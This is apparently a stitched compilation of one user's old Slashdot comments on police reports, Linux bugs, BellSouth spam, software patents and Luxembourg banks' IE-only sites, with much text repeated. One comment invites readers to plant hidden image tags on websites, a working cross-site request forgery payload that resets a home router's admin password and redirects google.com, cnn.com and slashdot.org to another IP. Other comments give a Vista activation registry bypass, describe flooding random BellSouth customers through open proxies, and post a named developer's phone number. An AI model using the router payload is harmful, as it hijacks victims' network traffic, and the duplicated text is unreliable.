I'm telling you that walking in any busy police department in any city bigger than 100,000 people and asking for signatures on paper so that you can force Amazon to do something is a fools errand.
Not true. My father successfully got a police report in Lisbon (564657 inhabitants) for a stolen wallet, which contained far less than $300. And there was a huge queue, so it's not as if the police were underworked either.
Third: At what price level is Police involvement warranted? Its not exactly Grand Theft Kindle you know. Cops have a few more important things to do.
But they should a least do a report, which you can then use for your travel insurance, or (in this case) for Amazon. And here in Europe, Police usually do take the time to do a report, even for trivial thefts or losses (even if no investigation follows... but in this case, all you need is the report number).
Fifth: Cellphone companies in Europe do put stolen phones on a list. They can't be activated.
Not true, at least not in Luxembourg. A friend of mine got his cellphone stolen, he reported it to the police, but they claimed that although technically possible to block and locate it (by its IMEI number), it was policy that this was not done for a mere theft... (you'd have to wonder in what circumstances they would actually use the feature).
You've apparently never tried to report a stolen wallet or backpack, or even modest laptop. You fill out forms, answer questions,a nd they do _nothing_. It's just not important enough.
But at least you get the report form, needed to claim damages from your insurance company.
And if the stolen item does happen to fall into their lap, you do get it back. Case in point: my father got his wallet stolen in Lissabon, reported it to the police, and a couple of months later, he got it back.
What happens usually with wallets is that the thieves are "only" interested in the cash, and throw away the wallet (along with papers "useless" to them) as soon as possible (because it's dangerous to them to have id papers on them, which are not theirs). Eventually, somebody finds the wallet (because the thiefs don't bother with properly putting it into the trash, but rather throw it into the nearest bush or whatever), and brings it to the police... which then can send it back to you, if they've got a report on file.
With tinyURL, you can preview the URL before you open it. Example: http://preview.tinyurl.com/87d. Just add the "preview." as a subdomain to the "tinyurl.com". Yes, but the problem is that the surfer has to manually add preview for this to work. In reality:
The surfer, being unknowledgeable, would just click on the damn link, rather than carefully paste it into his addressbar, and add preview in front of it.
Seems pretty obvious to me, but knowing the moderators here, I guess I'll be modded down into oblivion for pointing this out.
If you read the timeline of that day you'll see that the police did determine pretty quickly that is wasn't a bomb. Quoting from that timeline:
At 9:00 a.m. The Boston Police Bomb squad is requested by the MBTA to Sullivan Square and examines the item. As a precaution I-93 is closed and the device is rendered safe and determined to be some sort of hoax device at 10:21 AM. That's one hour and 21 minutes. Not exactly quick...
The main issue during the day was that the streets had to be be closed so investigators could safely access the devices - even if the authorities didn't think it was a bomb, the street would still have to be closed to workers could safely remove them So how did the perps safely place them? Ok, so maybe it made a difference that they were placed in the night (no traffic), but removed in rush hour. But after police determined that it was not a real bomb, couldn't they just have waited until traffic slowed down for the next night? So there would have been exactly one road closure... for the first device. After that, they should have known what these kind of devices really were.
There was also the issue that a real pipe bomb turned up at New England Medical Center during that ordeal. Again, quoting from the report:
Six minutes later at 1:02 p.m. Boston Police received a call from New England Medical Center Security that they had uncovered a pipe bomb in their building in a desk drawer So, this was 4 hours later than the aqua teen scare. Are Boston Police gifted with premonition, or how else could a 1pm incident cause their poor reaction to a 9am incident? Oh, and if we read on:
At 1:08 p.m. the Boston Police Bomb Squad arrived and confirmed the existence of an item which appeared to be a pipe bomb inside the hospital. This is a fast reaction. Unlike the 81 minutes earlier in the morning...
Excellend analogy! And the emperor is stupid enough to buy them, and "reorganizes" the tailors that really made them in the first place! <cue star wars imperial march>
Next week: how to erect near borders while holding high the flag of a borderless world.
It is buggy and has problems compared to the Mandrake version just before it.
Mandrake/Mandriva has always been buggy, it's almost as if buggyness had been one of its defining "qualities".
Years ago I was with a friend helping him to re-organize his hard disks. At a certain point in time, we needed to burn some stuff on a CD to make space.
After burning the CD, just before rm -rf'ing the files from the hard disk, I had a hunch, and said: "Wait a minute, this is Mandrake, just lets make a diff -ur first, to be safe".
And sure enough, all files on the CD turned out to be empty... A bug in Mandrake's mkisofs. We proceeded to download mkisofs's source, and compiled it, burned another CD with it, and that one was just fine!
Years after, I frequently run into issues with corrupted.kde directories due to Mandrake bugs.
More years after (at that point it was Mandriva), I encountered issues with permission management in Samba. The (numerically) same version, and same config worked just fine on Debian.
However, I've got the feeling that bypassing Vista's activation will be somewhat more difficult than setting HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegDone to 1 and deleting HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LicenseInfo.
Does the mail man get a cut if you mail a script, or a check?
Actually, they do get a cut. Not for the script, but certainly for the check!
Last month, I had my google adwords earning payed out. DHL (mail delivery co) took $21 out of the check. After cashing it, my bank took another 15 Euro out of the check. Good thing I don't ask for payments every month, or else there would not be much left for me...
The real question however is: why don't google support electronic fund transfers (while these do have fees as well, they are much lower...)
So, does this mean I can bill Bell South for all the zombie PC's on their networks sending me spam?
A couple of years ago, I was on the receiving end of some major Bell South bogosity:
A Floridan spammer, subscribed to Bell South, was using my address as a From field on his garbage (a so-called "joe-job"), and I got "back" all the bounces, to the tune of about 2000 per night. Well, actually this same guy has been subscribed to other ISPs before, but usually, after complaining to the ISP, the flood would cease after 1 or 2 days, until he moved on to the next.
Not so at Bell South. Basically they ignored me for weeks...
After I saw that my emails got ignored, I called them, and was basically told that, as a non-customer, they owed me nothing, I should just suck it up...
That's when I felt it was time to turn up the heat! First thing, I rigged my mailserver to redirect all these bounces back to Bell South's abuse desk, via the same open proxies that the spammer used (I used those proxies, so that they couldn't just block the mails at the firewall). Nothing happened.
Then I targeted the help desk. Still nothing happened.
Then I targetted random Bellsouth employees. Still nothing.
Finally, as a last desparate move, I targeted random Bellsouth customers. Within hours of that, the flood of spam stopped dry!
I also think that this is what will happen in this circumstance here. The harmed content provider will do everything in their might to make the Bellsouth customers aware of what is going on, and then watch just how fast Bellsouth will be caving! They may not owe anything to the victims of their spam, nor to random content provider, but they sure as hell do owe something to their customers!
(The spammer actually moved on to a couple of different ISPs after that, but a few weeks later, all available ISPs had been used up, and then the flood really stopped...)
Cap all traffic from everywhere at a certain rate or usage limit
Charge either provider or subscriber for a higher bandwidth cap on a site. A subscriber could have a list of sites they would like as "premium" - maybe even submit a bookmark list on a micropayment per address scheme. The provider would of course pay for their sites or even individual files to be "premium".
(obscene) Profit!!!
Think of it as a modified cable business model.
You forgot:
4. Pay all your obscene profit (and then some...) back to HNS, as patent infringment fees. Just Read claim #12 of EP1050117:
12. A method for controlling the rate at which data is transferred between a source computer (140) and a plurality of requesting terminals (110) comprising the steps of:
monitoring the rate at which data is transferred to each of the requesting terminals (110);
determining account information for each requesting terminal (110);
determining a level of service subsribed to by each of the requesting terminals (110) from the account information;
comparing the rate at which data is transferred to each of the plurality of requesting terminals (110) and the level of service subsribed to by each of the requesting terminals (110);
and controlling the rate at which data is transferred to each of the requesting terminals (110) based on the comparison
Yes, they do patent stuff such as this (don't be fooled by the complicated language... it's really as trivial as "limit bandwidth by webserver and user"). While I usually don't agree with software patents, I have to admit that in this case it's beneficial: at least it prevents Bellsouth from being too annoying to its users and to the world at large;-)
At least most places are not as bad as banks: if they overhear you talking about leaving, that will be your last day at work.
I used to work at a bank. When I resigned (1 month notice), I could continue working their for most of that month, doing knowledge transfers to the remaining guys.
However, there were rumors that if you're leaving you shouldn't tell them where you were going to, because they might badmouth you at your new employer. I didn't believe these rumors, and freely told everybody where I was going to. And it didn't cause me any problems either.
The only funny thing is that my manager got a little bit nervous because my last day of work happened to fall on an April 20th...
So banks (or at least, this one) are better than their reputation. But don't get me started on their browser-specific homebanking site;-)
Many floppy disks are rather less than reliable. Floppy disk drives and teenages do not mix at all. A drive containing the broken off shield from a disk will take longer than 10 seconds to read anything. Ditto for one which has been stuffed with paper, blutack, chocolate, etc.
Then boot your udpcast off a CD. Or off PXE (most computer nowadays do support PXE).
In the case of a laptop you have a three stage process. 1) backup user data. 2) re-image. 3) restore user data.
Which is far more time consuming than a network workstation. Where everthing can be saved on a server.
Or, alternatively, if for some reason you can't set up a network server (laptops to be used at home): just use two partitions. One for the system (which students are not supposed to mess with), and another one for user data. If something happens, just udpcast the system partition. And have a small program ready to restore the partitioning table itself, in case that gets messed up.
(Yes, this still will fail in cases where the mischievous student decided to shrink system partition and grow his data partition, but in such cases, he's got what he was looking for!)
Well, that's another tooth pulled from the DMCA. Unfortunately the process of judicial review is slow...
But eventually it will reach its end. And then the DMCA is gone. That's because your (the US) constitution in on your side. Indeed, the US clearly states that authors and inventors should only be granted "exclusive rights" if that promotes the Progress of Science and useful Arts. That's a good thing.
Now imagine you had a constitution which would grant intellectual property owners unconditional protection. Imagine, that instead of saying... to promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries. it just said intellectual property shall be protectedperiod!
In that case, you'd be up shit creek without a paddle fighting the DMCA.
Now imagine you had a choice. Imagine you were asked to either accept such a flawed constitution or to reject it. Would you accept it?
Now, imagine that Bush threatened to resign if the constitution containing such a paragraph was rejected, saying in no uncertain terms that it would be a matter of common political decency to resign rather than be president of a country where intellectual property would not be protected 100%. Would you still reject the constitution? Or would you be cowed into accepting such a flawed document, for fear of losing your beloved president? Or would you rather rejoice at the prospect of having an easy way to ditch that village idiot;-)?
In the next couple of months millions of EU citizens will be offered this choice. Millions of others won't be asked. If you are among the lucky ones that have a referendum, chose wisely. The EU constitution does indeed say, in article II.77.2, that intellectual property shall be protected. Nothing else. No limits to institutional greed. Some still think that it is in their best interest to say yes. Don't be fooled, and read the treaty before you sign it. The French and Dutch already have made up their mind.
I'm confused. When you say VB, do you mean VBScript? I don't understand how Visual Basic could have anything to do with the client side code for a web application (unless there was some sort of ActiveX control written in VB).
Well, I'm not familiar with the correct Microsoft terminologie for these things. The code that I am speaking about is the following:
<script language="VBScript">
Function getBuildIncrement()
getBuildIncrement = "0"
On Error Resume Next
getBuildIncrement = detectVM.buildIncrement
End Function
</script>
The result of this is then handled by a bit of Javascript:
<script language="javascript">
function isActiveJVM()
{
var i = 0;
while (i
var buildIncrement = getBuildIncrement();
parseInt( buildIncrement, 10 ); //alert("JVM version : "+buildIncrement);
var javaInstalled = (buildIncrement != 0);
var bJVM = javaInstalled && navigator.javaEnabled();
return bJVM;
}
</script>
Then, the result of this finally gets used to construct a new URL (which works, if built and entered manually...) using the following code (the document.location.replace is all on one line, jumbled by slapdash to prevent page widening...):
Have you sent any feedback to them letting them know about the issues?
Sure I have. Told my financial adviser at that place about it (who obviously couldn't help much), but he helpfully redirected me to their helpdesk.
The Helpdesk was not very helpful when I phoned them, but somehow they were careless enough to tell me the phone number of the lead developper of the application (Vincent Friedrich, +352 49924-5550). So I phoned that guy. He was (understandably) rather astonished about how I "found out" his number... He gave me the usual bull about IE having 99.99% of market share and all that, and finally suggested that I send them my complaints in an e-mail... which I did (that mail contained all the technical details about Visual Basic checks, and server-based user-agent checks.)
The e-mail stayed un-answered for about a month, so I phoned Mr Friedrich again. He was not there, so a coworker of his took the phone. I was forwarded among three or four guys in the department. They re-assured me that those checks were certainly there for a reason (but couldn't tell me which one...), and that that reason was certainly not to shut out non-IE browsers. They promised to investigate and answer my mail (which they still had: one of the guys read me parts of my mail) for "Friday in a week". That day passed, without an answer...
I guess, I'll have to phone them again, or maybe send a paper letter about the issue to their top management.
I have found that some companies actually take this feedback quite seriously (there have been a few ignorent few).
Well, not so here in Luxembourg. The other bank, where I have my main account, also has a rather bizarre system. It does work with Firefox, which is good, but strangely enough it blocks Konqueror with a browser check (javascript based). This can be circumvented by setting up an alternate login page (copy of their code, minus the offending javascript browser check), which I did. This page was on a public web page (so that my fellow Konqueror or Safari users can use it too), but eventually the page got noticed by the bank, and I got a rather threatening call from them about this violation of their intellectual property....
Yet another bank has a link to a java applet that doesn't work (reference to non-existant class). A call to their help desk revealed that they are aware of the problem, and the guy even suggested me twoalternate
URLs, which both do work. After I asked him the obvious question "Why don't you put those on your main page", the answer was rather surprising: "if we put more than one web banking URL on our site, we would be hinting that our system has issues, and this would damage the trust that our customers place in us". I was baffled! What strange customer has more trust in a company that hides problems rather than putting them out in the open?
However, on the bright side, they (BCEE) did promise that "by end of 3rd quarter 2005" they would have a truely crossbrowser pure-HTML version. Let's wait and see...
I doubt that I was the only one who commented, but you need to start with one comment:)
Well, 1 1/2 years ago, we (Lux Linux user group) staged a complaint action at a national computer trade fair, where the banks were also present: each participating LUG member would visit the bank's stands individually, and complain....
As a result, at least 4 banks have improved, or are improving their ways (things are moving slowly though, the "fastest" still took about a year to get ready...).
The nicest success is
ING, who is now running its "
full com
but saying it's "Viewable with Any Browser" is sure pushing it.
Yes, that's why the text is a very light shade of grey, rather than plain white (or even display: none...). It's perfectly viewable with IE, although you must strain your eyes to do so (but you already knew that IE puts a strain on your eyes, didn't you...).
And then, it's debatable whether IE even qualifies as a "browser"...
Problem is, their mutual funds are the best performing of the marketplace (and they know it...).
Ok, so I use a different bank for my day-to-day transactions (where homebanking is more useful), and use Fundmarket only for long-term storage of money (where homebanking is much less needed, because transactions are much rarer and will be made over phone or in person). Still, it's an eyesore...
It's on http://www.free-dvd.org.lu, of course! (Hint: don't visit that one with certain (older) MSIE versions either. Rumor is that MSIE has problems dealing with certain form elements as well...)
Hmm, somehow my comment got messed up with parts duplicated and jumbled (mess-up while copy-pasting the URLs?). Interesting how it still garnered a mod-point...
Here's a cleaned up version:
Please let me know which banks DON'T work with FireFox
Banque de Luxembourg and their Fund market (try using the "Direct Access" option menu on the left hand side to view one of their "colored" funds (profiles) and weep...).
The idiots have implemented a check for visual-basic support in the browser, and refuse access to any browser that doesn't have it. The funny thing, however, is that the application itself (display of fund graphs) doesn't need Visual Basic at all, and works just fine when you bypass the stoopid check by going directly to the final URL!
A similar thing exists in their
homebanking application, even though the app itself, again, doesn't make any actual use of VB! However, in addition to the VB check, the homebanking also does a server-side User-Agent check, so you need to fake that one as well (for homebanking, but not for the fund graphs). Weird.
Plus, the choice of websites one can visit SHOULD be a factor in browser use. IE can visit some sites that require ActiveX, and Firefox / Opera can render properly sites that require better CSS2 support. Simple as that.
Very true. Until MSIE properly supports CSS, it's just not ready for the enterprise.
(Don't notice anything funny about the above link? Then try again with IE!)
Slashdot Mirror
On the other hand, how many people put up their DOB on their websites?
May I remind you that Facebook is a website too?
I'm telling you that walking in any busy police department in any city bigger than 100,000 people and asking for signatures on paper so that you can force Amazon to do something is a fools errand.
Not true. My father successfully got a police report in Lisbon (564657 inhabitants) for a stolen wallet, which contained far less than $300. And there was a huge queue, so it's not as if the police were underworked either.
Third: At what price level is Police involvement warranted? Its not exactly Grand Theft Kindle you know. Cops have a few more important things to do.
But they should a least do a report, which you can then use for your travel insurance, or (in this case) for Amazon. And here in Europe, Police usually do take the time to do a report, even for trivial thefts or losses (even if no investigation follows... but in this case, all you need is the report number).
Fifth: Cellphone companies in Europe do put stolen phones on a list. They can't be activated.
Not true, at least not in Luxembourg. A friend of mine got his cellphone stolen, he reported it to the police, but they claimed that although technically possible to block and locate it (by its IMEI number), it was policy that this was not done for a mere theft... (you'd have to wonder in what circumstances they would actually use the feature).
You've apparently never tried to report a stolen wallet or backpack, or even modest laptop. You fill out forms, answer questions,a nd they do _nothing_. It's just not important enough.
But at least you get the report form, needed to claim damages from your insurance company.
And if the stolen item does happen to fall into their lap, you do get it back. Case in point: my father got his wallet stolen in Lissabon, reported it to the police, and a couple of months later, he got it back.
What happens usually with wallets is that the thieves are "only" interested in the cash, and throw away the wallet (along with papers "useless" to them) as soon as possible (because it's dangerous to them to have id papers on them, which are not theirs). Eventually, somebody finds the wallet (because the thiefs don't bother with properly putting it into the trash, but rather throw it into the nearest bush or whatever), and brings it to the police... which then can send it back to you, if they've got a report on file.
If you want to join into the phun, put the following onto your website (or onto somebody else's website, if he happens to still use IIS):
<img src="http://192.168.1.254/xslt?PAGE=H04_POST&PASSWORD=admin&PASSWORD_CONF=admin" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=google.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.google.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=cnn.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.cnn.com&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=slashdot.org&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.slashdot.org&ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
- Most people would not be knowledgeable about this
- The website would have http://tinyurl.com/87d rather than http://preview.tinyurl.com/87d
- The surfer, being unknowledgeable, would just click on the damn link, rather than carefully paste it into his addressbar, and add preview in front of it.
Seems pretty obvious to me, but knowing the moderators here, I guess I'll be modded down into oblivion for pointing this out.Excellend analogy! And the emperor is stupid enough to buy them, and "reorganizes" the tailors that really made them in the first place! <cue star wars imperial march>
Next week: how to erect near borders while holding high the flag of a borderless world.
Mandrake/Mandriva has always been buggy, it's almost as if buggyness had been one of its defining "qualities".
Years ago I was with a friend helping him to re-organize his hard disks. At a certain point in time, we needed to burn some stuff on a CD to make space.
After burning the CD, just before rm -rf'ing the files from the hard disk, I had a hunch, and said: "Wait a minute, this is Mandrake, just lets make a diff -ur first, to be safe".
And sure enough, all files on the CD turned out to be empty... A bug in Mandrake's mkisofs. We proceeded to download mkisofs's source, and compiled it, burned another CD with it, and that one was just fine!
Years after, I frequently run into issues with corrupted .kde directories due to Mandrake bugs.
More years after (at that point it was Mandriva), I encountered issues with permission management in Samba. The (numerically) same version, and same config worked just fine on Debian.
However, I've got the feeling that bypassing Vista's activation will be somewhat more difficult than setting HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegDone to 1 and deleting HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LicenseInfo.
Actually, they do get a cut. Not for the script, but certainly for the check!
Last month, I had my google adwords earning payed out. DHL (mail delivery co) took $21 out of the check. After cashing it, my bank took another 15 Euro out of the check. Good thing I don't ask for payments every month, or else there would not be much left for me...
The real question however is: why don't google support electronic fund transfers (while these do have fees as well, they are much lower...)
Satellite operator?
A couple of years ago, I was on the receiving end of some major Bell South bogosity:
A Floridan spammer, subscribed to Bell South, was using my address as a From field on his garbage (a so-called "joe-job"), and I got "back" all the bounces, to the tune of about 2000 per night. Well, actually this same guy has been subscribed to other ISPs before, but usually, after complaining to the ISP, the flood would cease after 1 or 2 days, until he moved on to the next.
Not so at Bell South. Basically they ignored me for weeks...
After I saw that my emails got ignored, I called them, and was basically told that, as a non-customer, they owed me nothing, I should just suck it up...
That's when I felt it was time to turn up the heat! First thing, I rigged my mailserver to redirect all these bounces back to Bell South's abuse desk, via the same open proxies that the spammer used (I used those proxies, so that they couldn't just block the mails at the firewall). Nothing happened.
Then I targeted the help desk. Still nothing happened.
Then I targetted random Bellsouth employees. Still nothing.
Finally, as a last desparate move, I targeted random Bellsouth customers. Within hours of that, the flood of spam stopped dry!
I also think that this is what will happen in this circumstance here. The harmed content provider will do everything in their might to make the Bellsouth customers aware of what is going on, and then watch just how fast Bellsouth will be caving! They may not owe anything to the victims of their spam, nor to random content provider, but they sure as hell do owe something to their customers!
(The spammer actually moved on to a couple of different ISPs after that, but a few weeks later, all available ISPs had been used up, and then the flood really stopped...)
4. Pay all your obscene profit (and then some...) back to HNS, as patent infringment fees. Just Read claim #12 of EP1050117: Yes, they do patent stuff such as this (don't be fooled by the complicated language... it's really as trivial as "limit bandwidth by webserver and user"). While I usually don't agree with software patents, I have to admit that in this case it's beneficial: at least it prevents Bellsouth from being too annoying to its users and to the world at large
I used to work at a bank. When I resigned (1 month notice), I could continue working their for most of that month, doing knowledge transfers to the remaining guys.
However, there were rumors that if you're leaving you shouldn't tell them where you were going to, because they might badmouth you at your new employer. I didn't believe these rumors, and freely told everybody where I was going to. And it didn't cause me any problems either.
The only funny thing is that my manager got a little bit nervous because my last day of work happened to fall on an April 20th...
So banks (or at least, this one) are better than their reputation. But don't get me started on their browser-specific homebanking site ;-)
Then boot your udpcast off a CD. Or off PXE (most computer nowadays do support PXE).
In the case of a laptop you have a three stage process. 1) backup user data. 2) re-image. 3) restore user data. Which is far more time consuming than a network workstation. Where everthing can be saved on a server.
Or, alternatively, if for some reason you can't set up a network server (laptops to be used at home): just use two partitions. One for the system (which students are not supposed to mess with), and another one for user data. If something happens, just udpcast the system partition. And have a small program ready to restore the partitioning table itself, in case that gets messed up.
(Yes, this still will fail in cases where the mischievous student decided to shrink system partition and grow his data partition, but in such cases, he's got what he was looking for!)
That's why nowadays, the cartridges that are in new printers are only one third full...
But eventually it will reach its end. And then the DMCA is gone. That's because your (the US) constitution in on your side. Indeed, the US clearly states that authors and inventors should only be granted "exclusive rights" if that promotes the Progress of Science and useful Arts. That's a good thing.
Now imagine you had a constitution which would grant intellectual property owners unconditional protection. Imagine, that instead of saying ... to promote the Progress of Science and useful Arts, by securing for limited Times to Authors and Inventors the exclusive Right to their respective Writings and Discoveries. it just said intellectual property shall be protected period!
In that case, you'd be up shit creek without a paddle fighting the DMCA.
Now imagine you had a choice. Imagine you were asked to either accept such a flawed constitution or to reject it. Would you accept it?
Now, imagine that Bush threatened to resign if the constitution containing such a paragraph was rejected, saying in no uncertain terms that it would be a matter of common political decency to resign rather than be president of a country where intellectual property would not be protected 100%. Would you still reject the constitution? Or would you be cowed into accepting such a flawed document, for fear of losing your beloved president? Or would you rather rejoice at the prospect of having an easy way to ditch that village idiot ;-)?
In the next couple of months millions of EU citizens will be offered this choice. Millions of others won't be asked. If you are among the lucky ones that have a referendum, chose wisely. The EU constitution does indeed say, in article II.77.2, that intellectual property shall be protected. Nothing else. No limits to institutional greed. Some still think that it is in their best interest to say yes. Don't be fooled, and read the treaty before you sign it. The French and Dutch already have made up their mind.
Europe yes, but not with this constitution!
Well, I'm not familiar with the correct Microsoft terminologie for these things. The code that I am speaking about is the following:
The result of this is then handled by a bit of Javascript:
Then, the result of this finally gets used to construct a new URL (which works, if built and entered manually...) using the following code (the document.location.replace is all on one line, jumbled by slapdash to prevent page widening...): This Ruby-Goldbergesque code can be found at the following URL: http://www.fundmarket.lu/portail_blfunds/homepageSure I have. Told my financial adviser at that place about it (who obviously couldn't help much), but he helpfully redirected me to their helpdesk.
The Helpdesk was not very helpful when I phoned them, but somehow they were careless enough to tell me the phone number of the lead developper of the application (Vincent Friedrich, +352 49924-5550). So I phoned that guy. He was (understandably) rather astonished about how I "found out" his number... He gave me the usual bull about IE having 99.99% of market share and all that, and finally suggested that I send them my complaints in an e-mail... which I did (that mail contained all the technical details about Visual Basic checks, and server-based user-agent checks.)
The e-mail stayed un-answered for about a month, so I phoned Mr Friedrich again. He was not there, so a coworker of his took the phone. I was forwarded among three or four guys in the department. They re-assured me that those checks were certainly there for a reason (but couldn't tell me which one...), and that that reason was certainly not to shut out non-IE browsers. They promised to investigate and answer my mail (which they still had: one of the guys read me parts of my mail) for "Friday in a week". That day passed, without an answer...
I guess, I'll have to phone them again, or maybe send a paper letter about the issue to their top management.
I have found that some companies actually take this feedback quite seriously (there have been a few ignorent few).
Well, not so here in Luxembourg. The other bank, where I have my main account, also has a rather bizarre system. It does work with Firefox, which is good, but strangely enough it blocks Konqueror with a browser check (javascript based). This can be circumvented by setting up an alternate login page (copy of their code, minus the offending javascript browser check), which I did. This page was on a public web page (so that my fellow Konqueror or Safari users can use it too), but eventually the page got noticed by the bank, and I got a rather threatening call from them about this violation of their intellectual property....
Yet another bank has a link to a java applet that doesn't work (reference to non-existant class). A call to their help desk revealed that they are aware of the problem, and the guy even suggested me two alternate URLs, which both do work. After I asked him the obvious question "Why don't you put those on your main page", the answer was rather surprising: "if we put more than one web banking URL on our site, we would be hinting that our system has issues, and this would damage the trust that our customers place in us". I was baffled! What strange customer has more trust in a company that hides problems rather than putting them out in the open?
However, on the bright side, they (BCEE) did promise that "by end of 3rd quarter 2005" they would have a truely crossbrowser pure-HTML version. Let's wait and see...
I doubt that I was the only one who commented, but you need to start with one comment :)
Well, 1 1/2 years ago, we (Lux Linux user group) staged a complaint action at a national computer trade fair, where the banks were also present: each participating LUG member would visit the bank's stands individually, and complain....
As a result, at least 4 banks have improved, or are improving their ways (things are moving slowly though, the "fastest" still took about a year to get ready...).
The nicest success is ING, who is now running its " full com
Yes, that's why the text is a very light shade of grey, rather than plain white (or even display: none ...). It's perfectly viewable with IE, although you must strain your eyes to do so (but you already knew that IE puts a strain on your eyes, didn't you...).
And then, it's debatable whether IE even qualifies as a "browser"...
Problem is, their mutual funds are the best performing of the marketplace (and they know it...).
Ok, so I use a different bank for my day-to-day transactions (where homebanking is more useful), and use Fundmarket only for long-term storage of money (where homebanking is much less needed, because transactions are much rarer and will be made over phone or in person). Still, it's an eyesore...
It's on http://www.free-dvd.org.lu, of course! (Hint: don't visit that one with certain (older) MSIE versions either. Rumor is that MSIE has problems dealing with certain form elements as well...)
Here's a cleaned up version:
Please let me know which banks DON'T work with FireFox
Banque de Luxembourg and their Fund market (try using the "Direct Access" option menu on the left hand side to view one of their "colored" funds (profiles) and weep...).
The idiots have implemented a check for visual-basic support in the browser, and refuse access to any browser that doesn't have it. The funny thing, however, is that the application itself (display of fund graphs) doesn't need Visual Basic at all, and works just fine when you bypass the stoopid check by going directly to the final URL!
A similar thing exists in their homebanking application, even though the app itself, again, doesn't make any actual use of VB! However, in addition to the VB check, the homebanking also does a server-side User-Agent check, so you need to fake that one as well (for homebanking, but not for the fund graphs). Weird.
No IE, no VB, No service :-(
Very true. Until MSIE properly supports CSS, it's just not ready for the enterprise.
(Don't notice anything funny about the above link? Then try again with IE!)